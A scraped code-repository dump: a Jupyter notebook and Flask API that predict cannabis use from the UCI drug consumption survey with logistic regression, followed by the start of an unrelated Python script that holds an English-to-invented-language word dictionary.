'Caffeine', 'Cannabis', 'Chocolate', 'Cocaine', 'Crack', 'Ecstasy', 'Heroin', 'Ketamine', 'Legal_highs', 'LSD', 'Methadone', 'Mushrooms', 'Nicotine', 'Semeron', 'VSA']\n\n\n# In[3]:\n\n\ndata = pd.read_csv('drug_consumption.data', header = None, names = names)\n\n\n# In[4]:\n\n\n# Observe top 10 observations\n\ndata.head(10)\n\n\n# In[5]:\n\n\n# Observe last 10 observations\n\ndata.tail(10)\n\n\n# In[6]:\n\n\ndata.shape\n\n\n# In[7]:\n\n\n# Count number of NaN's in every column\n\nprint(data.isna().sum())\n\n\n# In[8]:\n\n\n# Create a variable containing all the columns/features names\n\ndata_columns = data.columns\n\nprint(data_columns)\n\n\n# In[9]:\n\n\n# Count number of unique values in every column\n\ndata_nunique_dict = data.nunique().to_dict()\ndata_nunique_dict\n\n\n# In[10]:\n\n\n# Display basic data statistics\n\ndata.describe()\n\n\n# In[11]:\n\n\n# set data index\n\ndata.set_index('ID', inplace = True)\n\n\n# In[12]:\n\n\ndata.head()\n\n\n# In[13]:\n\n\n# Creating rough version of classification of drug consumption. Modifing my existing `data` object:\n# 1 - if a person used a drug in month, week or day, then let's say that he did consume a drug.\n\n# 0 - other categories are placed into the group that he did not consume a drug; \n\ndef change(a):\n \n if ((a == 'CL6') or (a == 'CL5') or (a == 'CL4') ):\n a = 1\n \n elif ((a == 'CL0') or (a == 'CL1') or (a == 'CL2') or (a == 'CL3')):\n a = 0\n \n return a\n\n\n# In[14]:\n\n\n# Applying our changes in classification of drug consumption to columns with drugs\n\ndata['Amphetamine'] = data['Amphetamine'].map(change)\n\ndata['Amyl_nitrite'] = data['Amyl_nitrite'].map(change)\n\ndata['Benzodiazepine'] = data['Benzodiazepine'].map(change)\n\ndata['Cannabis'] = data['Cannabis'].map(change)\n\ndata['Cocaine'] = data['Cocaine'].map(change)\n\ndata['Crack'] = data['Crack'].map(change)\n\ndata['Ecstasy'] = data['Ecstasy'].map(change)\n\ndata['Heroin'] = data['Heroin'].map(change)\n\ndata['Ketamine'] = data['Ketamine'].map(change)\n\ndata['LSD'] = data['LSD'].map(change)\n\ndata['Methadone'] = data['Methadone'].map(change)\n\ndata['Mushrooms'] = data['Mushrooms'].map(change)\n\ndata['Semeron'] = data['Semeron'].map(change)\n\ndata['VSA'] = data['VSA'].map(change)\n\ndata['Alcohol'] = data['Alcohol'].map(change)\n\ndata['Legal_highs'] = data['Legal_highs'].map(change)\n\ndata['Nicotine'] = data['Nicotine'].map(change)\n\ndata['Chocolate'] = data['Chocolate'].map(change)\n\ndata['Caffeine'] = data['Caffeine'].map(change)\n\n\n# In[15]:\n\n\n#There is a problem with float64 values in dataset. I converted values to .f5\n#Because if you see the number 0.86054, for example, then its not what it is actually.\n#It can be 0.8605400000001. That's why the comparison does not work\n\ndef toFixed(x):\n x = float('{:.5f}'.format(x))\n return x\n\nfor i in list(data.columns):\n data[i] = data[i].map(toFixed)\n\n\n# In[16]:\n\n\n#Decode column Age \n\n#'18-24' age -> 0\n#'25-34' age -> 1\n#'35-44' age -> 2\n#'45-54' age -> 3\n#'55-64' age -> 4\n#'65+' age -> 5\n\ndef changeAge(x):\n if (x == -0.95197):\n x = 0\n elif (x == -0.07854):\n x = 1\n elif (x == 0.49788):\n x = 2\n elif (x == 1.09449):\n x = 3\n elif (x == 1.82213):\n x = 4\n elif (x == 2.59171):\n x = 5\n return x\n\ndata['Age'] = data['Age'].map(changeAge)\n\n\n# In[17]:\n\n\n#Decode Gender\n\n# Female -> 0\n# Male -> 1\n\ndef changeGender(x):\n if (x == 0.48246 ):\n x = 0\n elif (x == -0.48246 ):\n x = 1\n return x\n\ndata['Gender'] = data['Gender'].map(changeGender)\n\n\n# In[18]:\n\n\n#Decode Education\n\n# Left school before 16 years -> 0\n# Left school at 16 years -> 1\n# Left school at 17 years -> 2\n# Left school at 18 years -> 3\n# Some college or university, no certificate or degree -> 4\n# Professional certificate/ diploma -> 5\n# University degree -> 6\n# Masters degree -> 7\n# Doctorate degree -> 8\n\ndef changeEducation(x):\n \n if (x == -2.43591):\n x = 0\n elif (x == -1.73790):\n x = 1\n elif (x == -1.43719):\n x = 2\n elif (x == -1.22751):\n x = 3\n elif (x == -0.61113):\n x = 4\n elif (x == -0.05921):\n x = 5\n elif (x == 0.45468):\n x = 6\n elif (x == 1.16365):\n x = 7\n elif (x == 1.98437):\n x = 8\n return x\n\ndata['Education'] = data['Education'].map(changeEducation)\n\n\n# In[19]:\n\n\n#Decode country\n\n#Australia -> 0\n#Canada -> 1\n#New Zealand->2\n#Other -> 3\n#Republic of Ireland ->4\n#UK ->5\n#USA ->6\n\ndef changeCountry(x):\n \n if (x == -0.09765):\n x = 0\n elif (x == 0.24923):\n x = 1\n elif (x == -0.46841):\n x = 2\n elif (x == -0.28519):\n x = 3\n elif (x == 0.21128):\n x = 4\n elif (x == 0.96082):\n x = 5\n elif (x == -0.57009):\n x = 6\n return x\n\ndata['Country'] = data['Country'].map(changeCountry)\n\n\n# In[20]:\n\n\n#Decode Ethnicity\n\n#Asian -> 0\n#Black -> 1\n#Mixed-Black/Asian -> 2\n#Mixed-White/Asian -> 3\n#Mixed-White/Black -> 4\n#Other -> 5\n#White -> 6\n\ndef changeEthnicity(x):\n \n if (x == -0.50212):\n x = 0\n elif (x == -1.10702):\n x = 1\n elif (x == 1.90725):\n x = 2\n elif (x == 0.12600):\n x = 3\n elif (x == -0.22166):\n x = 4\n elif (x == 0.11440):\n x = 5\n elif (x == -0.31685):\n x = 6\n return x\n\ndata['Ethnicity'] = data['Ethnicity'].map(changeEthnicity)\n\n\n# In[21]:\n\n\ndata.tail()\n\n\n# In[22]:\n\n\n# Count number of unique values in every column again\n# to compare whether we missed something\n\ndata_nunique_dict1 = data.nunique().to_dict()\ndata_nunique_dict1\n\n\n# In[23]:\n\n\ndata[\"Age\"] = data['Age'].astype('int')\ndata[\"Education\"] = data['Education'].astype('int')\ndata[\"Country\"] = data['Country'].astype('int')\ndata[\"Ethnicity\"] = data['Ethnicity'].astype('int')\ndata[\"Alcohol\"] = data['Alcohol'].astype('int')\n\n\n# In[24]:\n\n\nfor i in range(12,31):\n data[data.columns[i]] = data[data.columns[i]].astype('int')\n\n\n# In[25]:\n\n\nimport csv\nwith open('datav4.csv','w',newline='') as f: #Ouverture du fichier CSV en écriture\n ecrire=csv.writer(f) # préparation à l'écriture\n for i in data: # Pour chaque ligne du tableau... \n ecrire.writerow(i) # Mettre dans la variable ecrire cette nouvelle ligne \nprint('',end='\\n')\nprint('longueur du tableau : ',len(data))\n\n\n# In[26]:\n\n\n# Observing drug consumption rate over Age\n\nage = pd.concat([data[data['Cannabis']==1]['Age'],data[data['Cannabis']==0]['Age']],axis=1)\nage.columns=['Cannabis User','Never Used Cannabis']\n\nAgePlot = age.plot(kind='hist',bins=6,figsize=(10,6),alpha=0.3,grid=True)\nAgePlot.set(ylabel = 'Number of Users', xlabel='Age')\n\nAgeLabels = ['0','18','24','35','45','55','65+']\nAgePlot.set_xticklabels(AgeLabels)\n\n\n# In[27]:\n\n\n# Observing drug consumption rate across Gender\n\nsns.set(rc={'figure.figsize':(10,6)})\nGenderPlot = sns.countplot(x='Cannabis',hue='Gender',data=data,palette='afmhot')\n\nlabels = ['Never Used', 'Cannabi User']\nGenderPlot.set_xticklabels(labels)\n\nGenderPlot.set(ylabel = 'Number of Users', xlabel='Cannabis Consumption')\nplt.legend(title='Cannabis User', loc='upper left', labels=['Female', 'Male'])\n\n\n# In[28]:\n\n\n# Analyzing drug consumption rate across Education Level\nsns.set(rc={'figure.figsize':(10,5)})\nx = ('yes','no')\nEducationPlot = sns.countplot(x='Cannabis',hue='Education',data=data,palette='rainbow')\n\nEducationPlot.set_xticklabels(labels)\nEducationPlot.set(ylabel = 'Number of Users', xlabel='Cannabis Consumption')\n\nplt.legend(title='Education Level', loc='upper left', \n labels=['Left School before 16', 'Left School at 16', 'Left School at 17', 'Left School at 18',\n 'Some College', 'Certificate/Diploma', 'University Degree', 'Masters', 'Doctorate'])\n\n\n# In[29]:\n\n# Analyzing drug consumption combining Age and Gender features\nAge_Gender_Plot = sns.factorplot(x='Gender' , y='Age' , data=data , hue='Cannabis' , kind='violin' , palette=['g','r'] , split=True)\n\nAgeLabels = ['0','18','24','35','45','55','65+']\ngenderlabels = ['Female', 'Male']\nAge_Gender_Plot.set_yticklabels(AgeLabels)\nAge_Gender_Plot.set_xticklabels(genderlabels)\n\n# In[30]:\n\n\n# Combine Age and Education Level together\n# Focus only on the actual cannabis users\n\ndatav2 = data[data['Cannabis'] == 1]\nAge_Education_Plot = sns.boxplot(x='Education',y='Age',data=datav2)\n\nAgeLabels = ['0','18','24','35','45','55','65+']\nAge_Education_Plot.set_yticklabels(AgeLabels)\n\nEducationLabels = ['Left School before 16', 'Left School at 16', 'Left School at 17', 'Left School at 18',\n 'Some College', 'Certificate/Diploma', 'University Degree', 'Masters', 'Doctorate']\nAge_Education_Plot.set_xticklabels(EducationLabels,rotation=30)\n\n# In[31]:\n\n\nfrom sklearn.model_selection import train_test_split\n\ntarget = data[\"Cannabis\"]\n\ndatav3 = data.drop(columns=[\"Cannabis\",\"Alcohol\",\"Amphetamine\",\"Amyl_nitrite\",\"Benzodiazepine\",\"Caffeine\",\"Cannabis\",\"Chocolate\",\"Cocaine\",\"Crack\",\"Ecstasy\",\"Heroin\",\"Ketamine\",\"Legal_highs\",\"LSD\",\"Methadone\",\"Mushrooms\",\"Nicotine\",\"Semeron\",\"VSA\"])\nfeature_names = datav3.columns\n\nX_train, X_test, y_train, y_test = train_test_split(datav3, target, random_state=1, stratify=target)\nX_train.head(2)\n\n\n# In[32]:\n\n\n# Use a heatmap quickly check if there is any NULL values within any of the features\n# all shaded ==> all the cells have validate data; otherwise will be hilighted in yellow\nsns.heatmap(X_train.isnull(),yticklabels=False, cbar=False,cmap='inferno',annot=True)\n\n\n# In[33]:\n\n\nX_train.describe()\n\n\n\n\n# In[37]:\n\n\n\n\n# In[38]:\n\n\n\n# In[39]:\n\n\ncountries = datav2['Country'].value_counts().plot(kind='pie', figsize=(8, 8))\n\n\n# In[40]:\n\n\nethnicity = datav2['Ethnicity'].value_counts().plot(kind='pie', figsize=(8, 8))\n\n\n# In[41]:\n\n\ncorrmat = data.corr()\nf, ax = plt.subplots(figsize=(12,9))\nsns.heatmap(corrmat, vmax=.8, square=False);\n\n\n# In[42]:\n\n\nscatter_matrix(datav3, alpha=0.2, figsize=(20, 20), diagonal='kde')\nplt.show()\n\n\n# In[43]:\n\n\ndatav4 = pd.read_csv('drug_consumption.data', header = None, names = names)\ndatav4['Cannabis'] = datav4['Cannabis'].map(change)\ndatav4['Cannabis'].value_counts()\n\n\n# In[44]:\n\n\n# Because sample size of individuals who have not used cannabis is significantly smaller than sample size of cannabis users\n# upsampling is performed to make the sample sizes equal\n\nfrom sklearn.utils import resample\n\ndata_majority = datav4[datav4['Cannabis']==0]\ndata_minority = datav4[datav4['Cannabis']==1]\n\ndata_minority_upsampled = resample(data_minority,\nreplace=True,\nn_samples=1097, # same number of samples as majority classe\nrandom_state=1) # set the seed for random resampling\n\n# Combine resampled results\ndata_upsampled = pd.concat([data_majority, data_minority_upsampled])\n\n# Assign data the data_upsampled df\ndatav4 = data_upsampled\ndatav4['Cannabis'].value_counts()\n\n\n# In[45]:\n\n\n# Check for nulls\ndatav4.isnull().sum().head()\n\n\n# In[46]:\n\n\n# Prepare dfs for train test split\nfrom sklearn.model_selection import train_test_split\n\ntarget = datav4[\"Cannabis\"]\ndatav4 = datav4.drop(columns=[\"ID\",\"Cannabis\",\"Alcohol\",\"Amphetamine\",\"Amyl_nitrite\",\"Benzodiazepine\",\"Caffeine\",\"Cannabis\",\"Chocolate\",\"Cocaine\",\"Crack\",\"Ecstasy\",\"Heroin\",\"Ketamine\",\"Legal_highs\",\"LSD\",\"Methadone\",\"Mushrooms\",\"Nicotine\",\"Semeron\",\"VSA\"])\n\n\ndatav4.head()\n\n\n# In[47]:\n\n\nfrom sklearn.preprocessing import OneHotEncoder\n\ncolumnsToEncode = ['Age', 'Gender', 'Education','Country', 'Ethnicity', 'Neuroticism', 'Extraversion',\n 'Openness', 'Agreeableness', 'Conscientiousness', 'Impulsiveness', 'Sensation_seeking']\ndata_reindex = datav4.reset_index(drop=True)\n\n\ndef one_hot(df, cols):\n \"\"\"\n @param df pandas DataFrame\n @param cols a list of columns to encode \n @return a DataFrame with one-hot encoding\n \"\"\"\n for each in cols:\n dummies = pd.get_dummies(df[each], prefix=each, drop_first=False)\n df = pd.concat([df, dummies], axis=1)\n return df\n\none_hot_data = one_hot(data_reindex, columnsToEncode)\none_hot_data = one_hot_data.drop(columns=['Age', 'Gender', 'Education','Country', 'Ethnicity', 'Neuroticism', 'Extraversion',\n 'Openness', 'Agreeableness', 'Conscientiousness', 'Impulsiveness', 'Sensation_seeking'])\none_hot_data.head()\n\n\n# In[48]:\n\n\n# Train split data\nX_train, X_test, y_train, y_test = train_test_split(one_hot_data, target, random_state=1, stratify=target)\n\n\n# In[49]:\n\n\nX_train.head()\n\n\n# In[50]:\n\n\n# Scale the data using Standard Scaler\nfrom sklearn.preprocessing import StandardScaler\nX_standard_scaler = StandardScaler().fit(X_train)\n\nX_train_scaled = X_standard_scaler.transform(X_train)\nX_test_scaled = X_standard_scaler.transform(X_test)\n\n\n# In[51]:\n\n\n# Logistic Regression model\nfrom sklearn.linear_model import LogisticRegression\nmodel_log = LogisticRegression(max_iter=1000000,solver='liblinear')\n\n# Train the model\nmodel_log.fit(X_train_scaled, y_train)\n\n# Print scores\nprint(f\"Training Data Score: {model_log.score(X_train_scaled, y_train)}\")\nprint(f\"Testing Data Score: {model_log.score(X_test_scaled, y_test)}\")\n\n\n# In[52]:\n\n\n# Create the GridSearchCV model for logistic regression\nfrom sklearn.model_selection import GridSearchCV\n\nlogistic_param_grid = {\"penalty\": ['l1','l2'],\n \"C\": [0.001,0.01,0.1,1,10,100,1000],\n }\nlogistic_grid = GridSearchCV(model_log, logistic_param_grid, verbose=3, cv=10)\n\n\n# In[53]:\n\n\n# Fit the model using the grid search estimator\nlogistic_grid.fit(X_train_scaled, y_train)\n\n\n# In[ ]:\n\n\n\n\n\n# In[54]:\n\n\n# Print scores for Logistic Regression\nprint(logistic_grid.best_params_)\nprint(logistic_grid.best_score_)\n\n\n\n# In[63]:\n\n\nfrom joblib import dump, load\ndump(model_log, 'model.pkl')\n\n\n# In[64]:\n\n\nmodel_log = load('model.pkl')\n\n\n# In[66]:\n\n\n# Saving the data columns from training\nmodel_columns = list(X_train.columns)\ndump(model_columns, 'model_columns.pkl')\nprint(\"Models columns dumped!\")\n\n\n# In[ ]:\n\n\n\n\n" }, { "alpha_fraction": 0.5940837860107422, "alphanum_fraction": 0.6039441227912903, "avg_line_length": 29.256410598754883, "blob_id": "a8f55b43ea286b8dab621b155d7273db246bc80b", "content_id": "f380e88a8c224ebb33c96ee05b53c101407fadde", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1217, "license_type": "no_license", "max_line_length": 87, "num_lines": 39, "path": "/api.py", "repo_name": "Atik14/DrugConsumption_Analysis", "src_encoding": "UTF-8", "text": "# Dependencies\r\nfrom flask import Flask, request, jsonify\r\nfrom joblib import load\r\nimport traceback\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n# Your API definition\r\napp = Flask(__name__)\r\n\r\[email protected]('/predict', methods=['POST']) # Your API endpoint URL would consist /predict\r\ndef predict():\r\n if model_log:\r\n try:\r\n json_ = request.json\r\n query = pd.get_dummies(pd.DataFrame(json_))\r\n query = query.reindex(columns=model_columns, fill_value=0)\r\n\r\n prediction = list(model_log.predict(query))\r\n\r\n return jsonify({'prediction': prediction})\r\n\r\n except:\r\n\r\n return jsonify({'trace': traceback.format_exc()})\r\n else:\r\n print ('Train the model first')\r\n return ('No model here to use')\r\n\t\t\r\nif __name__ == '__main__':\r\n try:\r\n port = int(sys.argv[1]) # This is for a command-line argument\r\n except:\r\n port = 12345 # If you don't provide any port then the port will be set to 12345\r\n model_log = load(\"model.pkl\") # Load \"model.pkl\"\r\n print ('Model loaded')\r\n model_columns = load(\"model_columns.pkl\") # Load \"model_columns.pkl\"\r\n print ('Model columns loaded')\r\n app.run(port=port)" }, { "alpha_fraction": 0.6778644323348999, "alphanum_fraction": 0.6880623698234558, "avg_line_length": 25.03125, "blob_id": "eff06b85e9d18ddc7c22970a04e6ef88491ab8a1", "content_id": "2d3b683d5b7d2dd91b124bb83c25c5fba7155db7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1667, "license_type": "no_license", "max_line_length": 208, "num_lines": 64, "path": "/README.md", "repo_name": "Atik14/DrugConsumption_Analysis", "src_encoding": "UTF-8", "text": "# Drug Consumption Analysis - Machine Learning\nThe objective of this project is to predict the probability of the consumption of different licit and illicit drugs on the basis of personality and drug use.\n\nhttps://archive.ics.uci.edu/ml/datasets/Drug+consumption+%28quantified%29\n\n**For our analysis, we will focus more specifically on cannabis use. Indeed, cannabis is a drug that is becoming more and more authorized in different countries, such as Canada recently for example in 2018.**\n\n## Attributes on individuals\n\nWe have 13 attributes on the different individuals interviewed.\nEach of its values have already been reduced centered beforehand.\n\n| Data | Type |\n| ------------- | ------------- |\n| ID | Integer |\n| Gender | Real |\n| Education | Real |\n| Country | Real |\n| Ethnicity | Real |\n| Gender | Real |\n| Nscore | Real |\n| Escore | Real |\n| Oscore | Real |\n| Ascore | Real |\n| Impulsive | Real |\n| SS | Real |\n\n## Use of different drugs\n\nThese individuals were asked about their frequency of use of the different drugs listed below.\n\n**List of different drugs, licit and illicit :**\n\n* Alcohol \n* Amphetamines \n* Amyl nitrite \n* Benzodiazepine \n* Caffeine \n* Cannabis \n* Chocolate \n* Cocaine \n* Crack \n* Ecstasy \n* Heroin \n* Ketamine \n* Legal Highs \n* LSD \n* Methadone \n* Magic Mushrooms \n* Nicotine \n* Fictitious Drug Semeron \n* Volatile Substance Abuse \n\nThe proposed responses were as follows :\n\n| Answer | Meaning |\n| ------------- | ------------- |\n| CL0 | Never Used |\n| CL1 | Used over a Decade Ago |\n| CL2 | Used in Last Decade |\n| CL3 | Used in Last Year |\n| CL4 | Used in Last Month |\n| CL5 | Used in Last Week |\n| CL6 | Used in Last Day |\n\n" } ]
3
mrklingon/UTA-PY
https://github.com/mrklingon/UTA-PY
ae503a6501f687663209ec093288614e64771976
91ae47f3454e445625edba796bc4374bdb33a760
2fea7245a4d7198ae3d4fa5056d6ad7b07849d5e
refs/heads/master
2016-09-06T01:18:59.574618
2015-08-23T17:41:13
2015-08-23T17:41:13
41,255,478
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.3933234214782715, "alphanum_fraction": 0.39501306414604187, "avg_line_length": 33.05584716796875, "blob_id": "053b482168bd6cfe24fbfe6e7c45d87eb6b2ac3e", "content_id": "735120abb013ec7fb18554b4601f36a6a468e106", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 19531, "license_type": "no_license", "max_line_length": 113, "num_lines": 573, "path": "/utang.py", "repo_name": "mrklingon/UTA-PY", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\nimport getopt\nimport sys\nimport string\nimport os\nimport os.path\n\n####################################\n# English->galactic Dictionary\ndict = {}\n\n# galactic->English Dictionary\ngdict = {}\nnulang = \"\"\ncurrlang = \"\"\nphrase = \"\" #only set if an argument is passed.\nverbose = 1 #default to printing extra info\n\n################## SET filehome to location of .lng files\n#filehome = \"/home/joela/Dropbox/python/langs/\" #default\nfilehome = \"langs/\" #default\ndef bajor():\n global currlang\n\n currlang = \"bajor\"\n dict[\"a\"] = \"kurb\"\n dict[\"about\"]= \"wynevsa\"\n dict[\"above\"]= \"elas\"\n dict[\"absolute\"]= \"plek\"\n dict[\"affected\"]= \"tnejl\"\n dict[\"after\"]= \"ran\"\n dict[\"again\"]= \"osamat\"\n dict[\"all\"]= \"jtyh\"\n dict[\"already\"]= \"sanajn\"\n dict[\"also\"]= \"rolpyresnak\"\n dict[\"always\"]= \"sme\"\n dict[\"am\"]= \"sog\"\n dict[\"and\"]= \"lonmago\"\n dict[\"anew\"]= \"ratk\"\n dict[\"anothen\"]= \"rprba\"\n dict[\"answered\"]= \"twrao\"\n dict[\"any\"]= \"llmosary\"\n dict[\"are\"]= \"rele\"\n dict[\"arose\"]= \"rribse\"\n dict[\"arrival\"]= \"rajus\"\n dict[\"as\"]= \"rocar\"\n dict[\"ascended\"]= \"kupus\"\n dict[\"assuredly\"]= \"asneer\"\n dict[\"at\"]= \"prokr\"\n dict[\"authority\"]= \"promly\"\n dict[\"avoidance\"]= \"rureril\"\n dict[\"balance\"]= \"netseb\"\n dict[\"baptized\"]= \"katsodsas\"\n dict[\"baptizes\"]= \"gnanr\"\n dict[\"baptizing\"]= \"pratdu\"\n dict[\"be\"]= \"nanpi\"\n dict[\"because\"]= \"rbaal\"\n dict[\"become\"]= \"lemd\"\n dict[\"been\"]= \"satw\"\n dict[\"before\"]= \"setit\"\n dict[\"behold\"]= \"nekpal\"\n dict[\"belief\"]= \"bmasr\"\n dict[\"believe\"]= \"ektl\"\n dict[\"believed\"]= \"pehet\"\n dict[\"believes\"]= \"maddapo\"\n dict[\"belongs\"]= \"ratakut\"\n dict[\"better\"]= \"aslaj\"\n dict[\"beyond\"]= \"nus\"\n dict[\"blessed\"]= \"lahtatapad\"\n dict[\"blows\"]= \"ravnwoma\"\n dict[\"born\"]= \"rsaluc\"\n dict[\"breath\"]= \"in\"\n dict[\"bride\"]= \"spadn\"\n dict[\"bridegroom\"]= \"brdasati\"\n dict[\"brothers\"]= \"ites\"\n dict[\"but\"]= \"mlb\"\n dict[\"by\"]= \"svltypaneb\"\n dict[\"came\"]= \"ipkot\"\n dict[\"can\"]= \"hashara\"\n dict[\"cause\"]= \"kunk\"\n dict[\"change\"]= \"mako\"\n dict[\"christ\"]= \"hdes\"\n dict[\"come\"]= \"kysrovaton\"\n dict[\"comes\"]= \"difvakeki\"\n dict[\"coming\"]= \"mluek\"\n dict[\"communicates\"]= \"ampen\"\n dict[\"confrontation\"]= \"nyrloren\"\n dict[\"conquers\"]= \"ntajut\"\n dict[\"consequences\"]= \"rdunh\"\n dict[\"constitutes\"]= \"rohkaj\"\n dict[\"context\"]= \"jrad\"\n dict[\"creator\"]= \"nlicava\"\n dict[\"darkness\"]= \"srpag\"\n dict[\"dead\"]= \"rab\"\n dict[\"deception\"]= \"sablon\"\n dict[\"decrease\"]= \"bemgi\"\n dict[\"defines\"]= \"tunogt\"\n dict[\"descended\"]= \"rnry\"\n dict[\"didn\"]= \"ahseh\"\n dict[\"die\"]= \"cavt\"\n dict[\"dies\"]= \"nesk\"\n dict[\"disbelieves\"]= \"nasos\"\n dict[\"disciples\"]= \"sksi\"\n dict[\"disobeys\"]= \"luer\"\n dict[\"divine\"]= \"htok\"\n dict[\"do\"]= \"amtoar\"\n dict[\"does\"]= \"laah\"\n dict[\"doesn\"]= \"lvad\"\n dict[\"don\"]= \"amrs\"\n dict[\"done\"]= \"pnsde\"\n dict[\"dwelling\"]= \"acnas\"\n dict[\"earth\"]= \"alik\"\n dict[\"earthly\"]= \"kitg\"\n dict[\"enemy\"]= \"gmke\"\n dict[\"enon\"]= \"remarp\"\n dict[\"enter\"]= \"larkanare\"\n dict[\"era\"]= \"kyssdi\"\n dict[\"eternal\"]= \"mrin\"\n dict[\"eternity\"]= \"rbos\"\n dict[\"even\"]= \"clmad\"\n dict[\"ever\"]= \"hinah\"\n dict[\"every\"]= \"bfa\"\n dict[\"everyone\"]= \"rtlere\"\n dict[\"evil\"]= \"donrocom\"\n dict[\"exclusively\"]= \"wyrd\"\n dict[\"existance\"]= \"sarsl\"\n dict[\"existence\"]= \"yhsak\"\n dict[\"exists\"]= \"rps\"\n dict[\"experience\"]= \"delur\"\n dict[\"exposed\"]= \"jmritikarok\"\n dict[\"eyes\"]= \"sersehlo\"\n dict[\"false\"]= \"dteram\"\n dict[\"father\"]= \"lakn\"\n dict[\"fear\"]= \"tadur\"\n dict[\"flesh\"]= \"mydrabase\"\n dict[\"fools\"]= \"lai\"\n dict[\"for\"]= \"clal\"\n dict[\"foreign\"]= \"bud\"\n dict[\"friend\"]= \"janat\"\n dict[\"from\"]= \"pphir\"\n dict[\"full\"]= \"ratta\"\n dict[\"gave\"]= \"prrim\"\n dict[\"genocide\"]= \"lmnam\"\n dict[\"given\"]= \"silnabatm\"\n dict[\"gives\"]= \"herrn\"\n dict[\"god\"]= \"sbelse\"\n dict[\"gods\"]= \"unkat\"\n dict[\"going\"]= \"lgkis\"\n dict[\"greatly\"]= \"pipot\"\n dict[\"greed\"]= \"enetak\"\n dict[\"greek\"]= \"nalto\"\n dict[\"guide\"]= \"dden\"\n dict[\"hand\"]= \"hared\"\n dict[\"has\"]= \"hesk\"\n dict[\"hates\"]= \"racob\"\n dict[\"have\"]= \"medlja\"\n dict[\"he\"]= \"nbocf\"\n dict[\"hear\"]= \"tekatr\"\n dict[\"heard\"]= \"nmbreta\"\n dict[\"hears\"]= \"salr\"\n dict[\"heaven\"]= \"arlum\"\n dict[\"heavenly\"]= \"rarap\"\n dict[\"here\"]= \"mnra\"\n dict[\"him\"]= \"saro\"\n dict[\"his\"]= \"nara\"\n dict[\"how\"]= \"tekraka\"\n dict[\"i\"]= \"nahh\"\n dict[\"ideas\"]= \"luo\"\n dict[\"if\"]= \"nteb\"\n dict[\"ignore\"]= \"ksapc\"\n dict[\"immutability\"]= \"rts\"\n dict[\"imperative\"]= \"porhl\"\n dict[\"in\"]= \"mwu\"\n dict[\"increase\"]= \"rnit\"\n dict[\"inevitable\"]= \"laklnota\"\n dict[\"into\"]= \"rutka\"\n dict[\"is\"]= \"dekmah\"\n dict[\"isn\"]= \"lejt\"\n dict[\"israel\"]= \"remcu\"\n dict[\"it\"]= \"nebtyrkanur\"\n dict[\"its\"]= \"jahah\"\n dict[\"jesus\"]= \"kinasma\"\n dict[\"jews\"]= \"kyk\"\n dict[\"john\"]= \"tpebk\"\n dict[\"jordan\"]= \"nudar\"\n dict[\"joy\"]= \"netdasylaht\"\n dict[\"judea\"]= \"nrvet\"\n dict[\"judge\"]= \"kanag\"\n dict[\"judged\"]= \"ltohae\"\n dict[\"judgment\"]= \"hervneto\"\n dict[\"justfies\"]= \"enj\"\n dict[\"justifies\"]= \"lapp\"\n dict[\"kingdom\"]= \"lelkisebevyj\"\n dict[\"know\"]= \"rtran\"\n dict[\"land\"]= \"rarni\"\n dict[\"language\"]= \"nech\"\n dict[\"legands\"]= \"pjn\"\n dict[\"lest\"]= \"goej\"\n dict[\"lies\"]= \"radnalnam\"\n dict[\"life\"]= \"tivet\"\n dict[\"lifted\"]= \"adhan\"\n dict[\"light\"]= \"ttamite\"\n dict[\"listen\"]= \"pkak\"\n dict[\"live\"]= \"rll\"\n dict[\"look\"]= \"pe\"\n dict[\"looking\"]= \"ehrir\"\n dict[\"love\"]= \"slaht\"\n dict[\"loved\"]= \"nadd\"\n dict[\"loves\"]= \"sasnosatl\"\n dict[\"made\"]= \"ijler\"\n dict[\"man\"]= \"srro\"\n dict[\"manner\"]= \"msys\"\n dict[\"marvel\"]= \"ksgerim\"\n dict[\"maturity\"]= \"rensevinas\"\n dict[\"may\"]= \"knhamalk\"\n dict[\"means\"]= \"poti\"\n dict[\"measure\"]= \"kelsel\"\n dict[\"men\"]= \"maskyparanar\"\n dict[\"messiah\"]= \"mahlem\"\n dict[\"messianic\"]= \"gekol\"\n dict[\"mindedness\"]= \"panol\"\n dict[\"moses\"]= \"nakkesagam\"\n dict[\"most\"]= \"ufak\"\n dict[\"mother\"]= \"temah\"\n dict[\"movement\"]= \"nls\"\n dict[\"much\"]= \"mtokaa\"\n dict[\"must\"]= \"botm\"\n dict[\"my\"]= \"najatr\"\n dict[\"name\"]= \"nppaseda\"\n dict[\"named\"]= \"farnaleleb\"\n dict[\"near\"]= \"mbok\"\n dict[\"never\"]= \"riral\"\n dict[\"nicodemus\"]= \"mlelr\"\n dict[\"night\"]= \"nirn\"\n dict[\"no\"]= \"sadyson\"\n dict[\"noncorporeality\"]= \"olelir\"\n dict[\"nor\"]= \"utakon\"\n dict[\"not\"]= \"dava\"\n dict[\"note\"]= \"sashap\"\n dict[\"nothing\"]= \"antah\"\n dict[\"now\"]= \"risp\"\n dict[\"occurrences\"]= \"navak\"\n dict[\"of\"]= \"sakurep\"\n dict[\"old\"]= \"ynlas\"\n dict[\"omniscience\"]= \"jshin\"\n dict[\"on\"]= \"rarat\"\n dict[\"one\"]= \"cblakih\"\n dict[\"only\"]= \"kura\"\n dict[\"open\"]= \"hekabos\"\n dict[\"or\"]= \"tysuk\"\n dict[\"origin\"]= \"ralas\"\n dict[\"our\"]= \"ssasha\"\n dict[\"out\"]= \"dane\"\n dict[\"over\"]= \"wravr\"\n dict[\"own\"]= \"nysmalakas\"\n dict[\"pagh\"]= \"ragtoh\"\n dict[\"part\"]= \"dilpok\"\n dict[\"people\"]= \"rnavah\"\n dict[\"perfect\"]= \"hiha\"\n dict[\"perish\"]= \"radk\"\n dict[\"pharisees\"]= \"stev\"\n dict[\"physical\"]= \"dajuhho\"\n dict[\"pneuma\"]= \"ralt\"\n dict[\"power\"]= \"avnn\"\n dict[\"primary\"]= \"rlla\"\n dict[\"priority\"]= \"bpa\"\n dict[\"prison\"]= \"dua\"\n dict[\"prophecy\"]= \"ranatl\"\n dict[\"prophets\"]= \"weldec\"\n dict[\"providence\"]= \"suntarute\"\n dict[\"purification\"]= \"benla\"\n dict[\"questioning\"]= \"njops\"\n dict[\"rabbi\"]= \"skers\"\n 